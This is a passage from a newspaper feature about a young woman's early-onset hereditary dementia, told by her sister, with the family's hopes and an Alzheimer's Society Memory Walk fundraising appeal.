“After she was diagnosed we stopped fighting it. If she would spit on the floor or eat from someone else’s plate we stopped trying to reason with her because we knew it was outside her control.” 

Within months of her diagnosis Becky lost control of her behaviour. 

She would blow endless raspberries or ask strangers in the supermarket if they could make funny noises. 

She also repeated the same stories. 

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Research shows 40 per cent of dementia is preventable (Image: GETTY)

Sophie says: “One story was about when she was my bridesmaid. She would say, ‘I had to drink lots and do the limbo and my dress came down and showed my boobies.’ It was true but it was always the same story repeated word for word. 

“At the time it was driving us crazy but now she has stopped speaking I would love her to tell her little stories again. You want to hold on to every moment you have of her.”

TODAY the family, whose bakery business Dorringtons will celebrate its centenary next year, remain committed to caring for Becky. 

She lives with her parents in the farmhouse next door to Sophie’s converted barn near Bury St Edmunds. 

Becky’s husband Luca visits often from Europe – where in winter he works as a ski instructor and in summer runs a hostel. 

“He is here as much as he can to see Becks. It is not a conventional marriage but he loves her and in that respect it’s ‘in sickness and in health’,” says Sophie. 

“I’ve lost a sister but they were supposed to begin their life together. It’s horrible that all that has been taken away from them.” 

The gene carried by the family has not been identified and Sophie knows that she, Alfie, or his one-year-old sister Millie are at risk. 

Typically each of the children or siblings of someone with a genetic mutation that can cause the disease has a 50 per cent chance of carrying it themselves although that does not mean they will develop symptoms. 

“My goal in speaking out to raise money is that my children don’t have to worry about a hereditary disease that ends lives without dignity. 

“What also really upsets me is that they won’t remember their Aunty Becky when she was well. I had always imagined them growing up with their cousins and having holidays together on the Suffolk coast but it’s awful that it’s never going to happen.”

To help them understand who their aunt really was Sophie has filled her house with framed photographs of Becky. 

And she tells the children stories about her. 

“At night, after I have read to Alfie, he asks me to make a story up. So I will tell him how I want it to be with him and us and Aunty Becky and Uncle Luca all going on holiday together. Or I will tell him the story of Aunty Becky and the Magic Skis. “Later, lying in bed, I try my best to remain happy about all that we have. And I take comfort from Luca’s words. He always says that it is better to live 30 years as a lion than 60 years as a mouse.” 

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Memory loss can be mistaken for normal forgetfulness (Image: GETTY)

● Alzheimer’s Society is calling on Daily Express readers to unite against dementia and help fund vital research for a cure by signing up for a local Memory Walk at memorywalk.org.uk. 

Forty flagship walks are taking place in September and October. 

“Dementia is now the UK’s biggest killer with someone developing it every three minutes,” says Alzheimer’s Society chief Jeremy Hughes. 

“Every pound raised through Memory Walk will help provide vital information and support, improve care, fund research and create lasting change for people affected by the disease.”

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